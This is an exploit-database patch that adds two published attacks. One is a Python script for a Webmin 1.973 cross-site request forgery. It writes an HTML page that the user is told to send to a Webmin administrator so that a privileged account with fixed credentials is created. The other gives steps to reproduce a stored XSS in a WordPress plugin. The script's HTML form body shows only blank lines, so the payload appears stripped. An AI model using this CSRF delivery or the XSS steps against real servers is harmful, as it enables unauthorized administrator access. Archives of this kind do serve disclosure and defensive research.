From 42322e3bcda15476aeeaa403375bc0594d73fc77 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Thu, 15 Jul 2021 05:01:54 +0000 Subject: [PATCH] DB: 2021-07-15 2 changes to exploits/shellcodes Webmin 1.973 - Cross-Site Request Forgery (CSRF) WordPress Plugin Current Book 1.0.1 - 'Book Title and Author field' Stored Cross-Site Scripting (XSS) --- exploits/linux/webapps/50126.py | 230 ++++++++++++++++++++++++++++++++ exploits/php/webapps/50127.txt | 15 +++ files_exploits.csv | 2 + 3 files changed, 247 insertions(+) create mode 100755 exploits/linux/webapps/50126.py create mode 100644 exploits/php/webapps/50127.txt diff --git a/exploits/linux/webapps/50126.py b/exploits/linux/webapps/50126.py new file mode 100755 index 000000000..30c9c6946 --- /dev/null +++ b/exploits/linux/webapps/50126.py @@ -0,0 +1,230 @@ +# Exploit Title: Webmin 1.973 - Cross-Site Request Forgery (CSRF) +# Date: 24/04/2021 +# Exploit Author: *Mesh3l_911 & Z0ldyck +# Vendor Homepage: https://www.webmin.com +# Repo Link: https://github.com/Mesh3l911/CVE-2021-31762 +# Version: Webmin 1.973 +# Tested on: All versions <= 1.973 +# CVE : CVE-2021-31762 +# POC: https://youtu.be/qCvEXwyaF5U + + +import time, subprocess + +print('''\033[1;37m + + __ __ _ ____ _ _________ _ _ _ +| \/ | | | |___ \| | |___ / _ \| | | | | | +| \ / | ___ ___| |__ __) | | / / | | | | __| |_ _ ___| | __ +| |\/| |/ _ \/ __| '_ \ |__ <| | / /| | | | |/ _` | | | |/ __| |/ / +| | | | __/\__ \ | | |___) | | _ _ / /_| |_| | | (_| | |_| | (__| < +|_| |_|\___||___/_| |_|____/|_| (_|_) /_____\___/|_|\__,_|\__, |\___|_|\_/ + __/ | + |___/ + + \033[1;m''') + +for i in range(101): + print( + "\r\033[1;36m [>] POC By \033[1;m \033[1;37mMesh3l\033[1;m \033[1;36m ( \033[1;m\033[1;37m@Mesh3l_911\033[1;m\033[1;36m ) & \033[1;m \033[1;37mZ0ldyck\033[1;m\033[1;36m ( \033[1;m\033[1;37m@electronicbots\033[1;m\033[1;36m ) \033[1;m {} \033[1;m".format( + i), "\033[1;36m%\033[1;m", end="") + time.sleep(0.02) +print("\n\n") + +target = input( + "\033[1;36m \nPlease input ur target's webmin path e.g. ( https://webmin.Mesh3l-Mohammed.com/ ) > \033[1;m") + +if target.endswith('/'): + target = target + 'acl/save_user.cgi' +else: + target = target + '/acl/save_user.cgi' + + +def CSRF_Generator(): + with open('CSRF_POC.html', 'w') as POC: + POC.write \ + (''' + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + ''') + POC.close() + + print( + "\033[1;36m\nThe CSRF_POC has been generated successfully , send it to a Webmin's Admin and ur privileged user creds would be \n\nUsername: \033[1;m\033[1;37mMesh3l_Z0ldyck\033[1;m\n\033[1;36mPassword:\033[1;m \033[1;37mMesh3l_Z0ldyck123\n\033[1;m\n\n\033[1;36mHappy Hunting ^_^ \n\033[1;m") + + + +def main(): + CSRF_Generator() + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/exploits/php/webapps/50127.txt b/exploits/php/webapps/50127.txt new file mode 100644 index 000000000..533f3374f --- /dev/null +++ b/exploits/php/webapps/50127.txt @@ -0,0 +1,15 @@ +# Exploit Title: WordPress Plugin Current Book 1.0.1 - 'Book Title and Author field' Stored Cross-Site Scripting (XSS) +# Date: 14/07/2021 +# Exploit Author: Vikas Srivastava +# Vendor Homepage: +# Software Link: https://wordpress.org/plugins/current-book/ +# Version: 1.0.1 +# Category: Web Application + +How to Reproduce this Vulnerability: + +1. Install WordPress 5.7.2 +2. Install and activate Custom Book +3. Navigate to Tools >> Current Book and enter the XSS payload into the Book and Author input field. +4. Click Update Options +5. You will observe that the payload successfully got stored into the database and when you are triggering the same functionality at that time JavaScript payload is executing successfully and we are getting a pop-up. \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 76d5cd67a..b9ebb371d 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -26042,6 +26042,7 @@ id,file,description,date,author,type,platform,port 12866,exploits/php/webapps/12866.txt,"K9 Kreativity Design - 'pages.php' SQL Injection",2010-06-03,Newbie_Campuz,webapps,php, 12867,exploits/php/webapps/12867.txt,"clickartweb Design - SQL Injection",2010-06-03,cyberlog,webapps,php, 12868,exploits/php/webapps/12868.txt,"Joomla! Component com_lead - SQL Injection",2010-06-03,ByEge,webapps,php, +50126,exploits/linux/webapps/50126.py,"Webmin 1.973 - Cross-Site Request Forgery (CSRF)",2021-07-14,Mesh3l_911,webapps,linux, 49439,exploits/php/webapps/49439.txt,"Life Insurance Management System 1.0 - 'client_id' SQL Injection",2021-01-18,"Aitor Herrero",webapps,php, 49440,exploits/php/webapps/49440.txt,"Life Insurance Management System 1.0 - File Upload RCE (Authenticated)",2021-01-18,"Aitor Herrero",webapps,php, 49441,exploits/php/webapps/49441.txt,"osTicket 1.14.2 - SSRF",2021-01-19,"Talat Mehmood",webapps,php, @@ -44261,3 +44262,4 @@ id,file,description,date,author,type,platform,port 50121,exploits/php/webapps/50121.txt,"Invoice System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)",2021-07-13,"Subhadip Nag",webapps,php, 50122,exploits/php/webapps/50122.rb,"OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2)",2021-07-13,"Alexandre ZANNI",webapps,php, 50123,exploits/php/webapps/50123.py,"Garbage Collection Management System 1.0 - SQL Injection + Arbitrary File Upload",2021-07-13,"Luca Bernardi",webapps,php, +50127,exploits/php/webapps/50127.txt,"WordPress Plugin Current Book 1.0.1 - 'Book Title and Author field' Stored Cross-Site Scripting (XSS)",2021-07-14,"Vikas Srivastava",webapps,php,